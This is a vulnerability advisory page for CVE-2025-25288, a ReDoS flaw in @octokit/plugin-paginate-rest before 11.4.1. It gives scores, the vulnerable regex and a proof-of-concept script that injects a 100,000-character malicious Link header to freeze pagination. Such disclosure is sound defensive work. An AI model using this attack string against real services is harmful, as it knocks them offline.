CVE-2025-25288
JSON

5.3medium

@octokit/plugin-paginate-rest has a Regular Expression in iterator that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

Severity
5.3medium CVSS:3.1 by GitHub_M
Exploit likelihood
0.65% (higher than 52% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-h5c3-5r3r-rr8q

Description

@octokit/plugin-paginate-rest is the Octokit plugin to paginate REST API endpoint responses. For versions starting in 1.0.0 and prior to 11.4.1 of the npm package `@octokit/plugin-paginate-rest`, when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance—particularly with a malicious `link` parameter in the `headers` section of the `request`—can trigger a ReDoS attack. Version 11.4.1 contains a fix for the issue.

Affected

Product or packageVersionsReported by
octokit plugin-paginate-rest.js>= 1.0.0, < 11.4.1CVE List
@octokit/plugin-paginate-rest (npm)from 9.3.0-beta.1 before 11.4.1, from 1.0.0 before 9.2.2GitHub Advisory Database

All scores

GitHub_M5.3medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
GitHub5.3medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Classification

CWE-1333

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

@octokit/plugin-paginate-rest is the Octokit plugin to paginate REST API endpoint responses. For versions starting in 1.0.0 and prior to 11.4.1 of the npm package `@octokit/plugin-paginate-rest`, when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance—particularly with a malicious `link` parameter in the `headers` section of the `request`—can trigger a ReDoS attack. Version 11.4.1 contains a fix for the issue.

GitHub Advisory Database
Summary

For the npm package @octokit/plugin-paginate-rest, when calling octokit.paginate.iterator(), a specially crafted octokit instance—particularly with a malicious link parameter in the headers section of the request—can trigger a ReDoS attack.

Details

The issue occurs at line 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:

url = ((normalizedResponse.headers.link || "").match(
  /<([^>]+)>;\s*rel="next"/,
) || [])[1];

The regular expression /<([^>]+)>;\s*rel="next"/ may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted Link headers.

PoC

The gist of PoC.js

  1. run npm i @octokit/plugin-paginate-rest
  2. run 'node poc.js' result:
  3. then the program will stuck forever with high CPU usage
import { Octokit } from "@octokit/core";
import { paginateRest } from "@octokit/plugin-paginate-rest";

const MyOctokit = Octokit.plugin(paginateRest);
const octokit = new MyOctokit({
  auth: "your-github-token",
});

// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request", async (request, options) => {
  const maliciousLinkHeader = "" + "<".repeat(100000) + ">"; // attack string
  return {
    data: [],
    headers: {
      link: maliciousLinkHeader, // Inject malicious 'link' header
    },
  };
});

// Trigger the ReDoS attack by paginating through GitHub issues
(async () => {
  try {
    for await (const normalizedResponse of octokit.paginate.iterator(
      "GET /repos/{owner}/{repo}/issues", { owner: "DayShift", repo: "ReDos", per_page: 100 }
    )) {
      console.log({ normalizedResponse });
    }
  } catch (error) {
    console.error("Error encountered:", error);
  }
})();

image

Impact
What kind of vulnerability is it?

This is a Regular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:

/<([^>]+)>;\s*rel="next"/

When processing a specially crafted Link header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.

Who is impacted?
  • Users of @octokit/plugin-paginate-rest who call octokit.paginate.iterator() and process untrusted or manipulated Link headers.
  • Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
  • GitHub API consumers who integrate this package into their projects for paginated data retrieval.
NVD (es)

@octokit/plugin-paginate-rest es el complemento de Octokit para paginar las respuestas de los endpoints de la API REST. En las versiones que comienzan con la 1.0.0 y anteriores a la 11.4.1 del paquete npm `@octokit/plugin-paginate-rest`, al llamar a `octokit.paginate.iterator()`, una instancia de `octokit` especialmente manipulada (en particular, con un parámetro `link` malicioso en la sección `headers` de `request`) puede desencadenar un ataque ReDoS. La versión 11.4.1 contiene una solución para el problema.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-25288 changed 2025-02-14CVE Terms of Use
GitHub Advisory DatabaseGHSA-h5c3-5r3r-rr8q changed 2026-09-10CC-BY-4.0
NVDCVE-2025-25288 changed 2026-06-17Public domain